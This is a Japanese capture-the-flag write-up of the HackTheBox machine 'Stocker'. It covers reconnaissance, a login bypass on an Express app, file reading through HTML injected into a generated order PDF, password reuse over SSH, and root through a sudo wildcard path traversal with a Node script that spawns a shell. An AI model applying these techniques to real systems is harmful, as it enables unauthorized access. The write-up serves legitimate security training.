HackTheBox Stocker WriteUp

今回は、HackTheBoxのEasyマシン「Stocker」のWriteUpです！
名前からはどのようなボックスなのか想像がつきませんが、攻略目指して頑張ります！
![スクリーンショット 2023-06-24 18.27.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c86fae78-df24-b647-fd5b-4df1dbc96936.png)
グラフは、Easyらしくない形をしていますね。。。
前回のSoccer同様、最近はEasyでも難しいので気合い入れていきます！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう〜。

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Stocker

### 侵入

それでは攻略を開始しましょう〜！
まずは、いつも通りポートスキャンから行います。
```bash
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.196 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
```
22番と80番を確認しました。
80番が開いているのでWebにアクセスしてみましょう。
![スクリーンショット 2023-06-24 18.36.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b39e362c-8a01-c054-bbc6-be05d0f4ec47.png)
ECサイトのようなサイトが表示されましたが、特に商品を選択できるわけではないようです。
サイトが完了すると、アカウントに登録できると書かれていました。
特に遷移はなさそうなので、ディレクトリやサブドメインを探索してみます。

```bash
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.stocker.htb" -u http://10.10.11.196 -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/ '      

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.196
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________


dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 164ms]
:: Progress: [151265/151265] :: Job [1/1] :: 259 req/sec :: Duration: [0:09:42] :: Errors: 0 ::
```
devというサブドメインを発見しました。
hostsファイルに登録し、再度アクセスしてみましょう。
![スクリーンショット 2023-06-24 18.42.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ab4e377e-6ee0-5ca3-2ee6-93b0791159e4.png)
ログイン画面が表示されました。

### SQLインジェクション

特に認証情報を取得しているわけではないので、SQLインジェクションが発火するか試してみます。
![スクリーンショット 2023-06-24 19.02.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/52b8d532-8b0b-d4c2-83b0-647927d3cd8d.png)
SQLインジェクションは発火しなさそうです。
と、思ったのですが、今回はExpressで作成されており、Node.jsが使用されていることがわかります。
Node.jsには隠れたSQLインジェクションが存在します。下記の記事に詳細がまとめられています。

https://blog.flatt.tech/entry/node_mysql_sqlinjection

それでは、記事の方法を参考にしつつ、SQLインジェクションが発火するか再度試してみましょう。
![スクリーンショット 2023-06-24 18.53.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8182b0ab-e608-ef5e-71bc-4b3ec47de9c8.png)
リダイレクト先がloginではないので、SQLインジェクションが発火したことがわかります！
それでは、BurpのInterceptを利用して、リクエストを書き換え、ログインをバイパスしましょう。
![スクリーンショット 2023-06-24 18.56.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0bb947f4-35bb-3285-3cce-4db3fc76d7d5.png)

商品が選択できるECサイトが表示されました！どうやら、開発段階みたいですね。

### Local File Inclusion（Server Side XSS）

適当に、商品を選択してカートにいれ、購入してみます。
![スクリーンショット 2023-06-24 19.06.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/50065f63-0e27-9fc5-baa6-a9ff86a48459.png)
Order IDが出力されました。
hereをクリックすることで、注文書をみることができそうです。見てみましょう。
![スクリーンショット 2023-06-24 19.09.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0f9a1a49-867d-906e-705e-73476572f49a.png)
私はトイレットペーパーを選択したので、その名前と値段、個数が記載されています。
購入後の動作がわかったので、購入処理を行う際のリクエストをみてみます。
![スクリーンショット 2023-06-24 21.41.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5ba67437-cdbd-fb89-532c-1e9cc932bdd2.png)
idやtitleが送られています。よくみてみると、titleで送信されている文字がそのままItemの名前として出力されていることがわかります。
もしこれを変更することができれば、何かしらの脆弱性を発火させることができるかもしれません。
titleをtestに変更し、もう一度購入処理を行ってみます。
![スクリーンショット 2023-06-24 21.45.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/16064c0b-9e40-db7d-c97d-eb884f2c1c8b.png)
購入が完了したら、注文書を見てみましょう。
![スクリーンショット 2023-06-24 21.46.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8f864b58-18d2-3e04-8654-70849822f9dd.png)
titleがtestになっています！これにより、ユーザの好きな値に変更できることがわかりました。
![スクリーンショット 2023-06-24 21.48.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/10eb9d46-59e2-a8f5-fcbf-023733f49b99.png)
また、開発者ツールで確認すると、testという値はspanタグで囲まれていることがわかりました。

まず試してみることは、iframeによるLFIを発火させることです。
同じようにInterceptを使用し、titleの値を変更していきます。
![スクリーンショット 2023-06-24 21.52.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/09fa2e6f-6c1d-f461-e765-95da8b5d97e3.png)
srcでpasswdファイルを指定しています。
それでは注文書を見てみましょう。
![スクリーンショット 2023-06-24 21.54.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e0054b2f-9a2a-db9c-8292-f03e04e32778.png)
LFIが発火しました！
また、passwdファイルの内容から、angooseユーザの存在を確認できました！
次に、SSH秘密鍵を取得しようとしましたが、失敗したのでindex.jsを見てみることにします。
サブドメインがdevなので、wwwのあとはdevを指定します。
![スクリーンショット 2023-06-24 22.02.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5d87c60c-f4e3-e26d-3bd5-51ea4bcfbdea.png)
では、同じように注文書を出力し、コードを見てみましょう。
![スクリーンショット 2023-06-24 22.03.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e200de51-b0af-918c-8300-a897408ad608.png)
mongodbの認証情報として、devユーザのパスワードが書かれています！

## angooseとしてのシェル

それではパスワードを発見したので、とりあえずSSHログインに使用できないか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ssh angoose@10.10.11.196                                                             
angoose@10.10.11.196s password: 

angoose@stocker:~$ whoami
angoose
```
SSH接続に成功しました！
```bash
angoose@stocker:~$ ls -l
total 4
-rw-r----- 1 root angoose 33 Jun 24 09:29 user.txt
```
ユーザフラグも取得することができました！

### 権限昇格

それでは、この勢いのままルートまで取得してしまいましょう！
まずはいつものようにsudoを実行してみます。
```bash
angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
```
nodeをsudoで実行可能のようです！実行できるスクリプトは/usr/local/scriptsディレクトリの配下にあるjsファイルでないといけないようです。では、scriptsディレクトリに書き込み権限があるかみてみましょう。
```bash
angoose@stocker:~$ ls -l /usr/local
total 36
drwxr-xr-x 2 root root 4096 Dec  6  2022 bin
drwxr-xr-x 2 root root 4096 Dec  6  2022 etc
drwxr-xr-x 2 root root 4096 Dec  6  2022 games
drwxr-xr-x 2 root root 4096 Dec  6  2022 include
drwxr-xr-x 3 root root 4096 Dec  6  2022 lib
lrwxrwxrwx 1 root root    9 Nov 19  2022 man -> share/man
drwxr-xr-x 2 root root 4096 Dec 23  2022 sbin
drwxr-xr-x 3 root root 4096 Dec  6  2022 scripts
drwxr-xr-x 5 root root 4096 Dec  6  2022 share
drwxr-xr-x 2 root root 4096 Dec  6  2022 src
```
書き込み権限はなさそうです。
では、sudoを使った権限昇格はできないのか。。。と思いきや、sudoのパスの指定方法には問題があります。どこが問題なのか考えてみましょう。
```bash
(ALL) /usr/bin/node /usr/local/scripts/*.js
```
今回のケースではscriptsディレクトリの後にアスタリスクを使用し、scriptsディレクトリにあるjsファイルであればすべて実行できるようにしてました。運用上あり得そうな話ですが、ここが問題点です。
アスタリスクはすべての文字を許可するため、「../」を使用することでディレクトリを好きに移動させることが可能です。要するに、自分が作成したjsファイルをルート権限で使用できるのです。

## rootとしてのシェル

それでは、権限昇格を行いましょう。
まず、実行するスクリプトを作成しなければいけません。
どのようなスクリプトを作成するのかですが、nodeを使用した権限昇格方法はGTFOBinsにまとめられています。

https://gtfobins.github.io/gtfobins/node/

GTFOBinsを参考にし、スクリプトを作成していきましょう。
```bash
angoose@stocker:~$ cat exploit.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
```
スクリプトが用意できたので、実行してみましょう！
```bash
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exploit.js
root@stocker:/home/angoose# whoami
root
```
権限昇格成功です！
```bash
root@stocker:~# ls -l
total 4
-rw-r----- 1 root root 33 Jun 24 09:29 root.txt
```
フラグも取得し、完全攻略です〜〜！！

### 攻略を終えて

今回のマシンは、グラフの形にしては簡単だったのかなと思いましたが、Node.jsでのSQLインジェクションやPDFでのLFIなどに対して知見がない状態だと確かにMediumぐらいの難易度はあるのではないかなと思います。
最近では、Expressを使用したサイトも多くなってきていると思うので、今回使用したSQLインジェクションには徹底した対策を呼びかける必要があるなと感じました。また、権限昇格では一度にすべてのjsファイルを指定したいがために、アスタリスクを使用していたことが問題となりました。正直、一つ一つ指定することは大変ですし、コードも汚く見えてきます。しかし、sudoといった一歩扱いを間違えると大変なことになるものに関しては、面倒でも慎重に設定する必要があると再認識しました。
難易度感も私にとってはちょうど良く、学びとしても多くのことを学ぶことができたマシンだったと思います！
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです！
最後まで閲覧していただきありがとうございました〜〜！！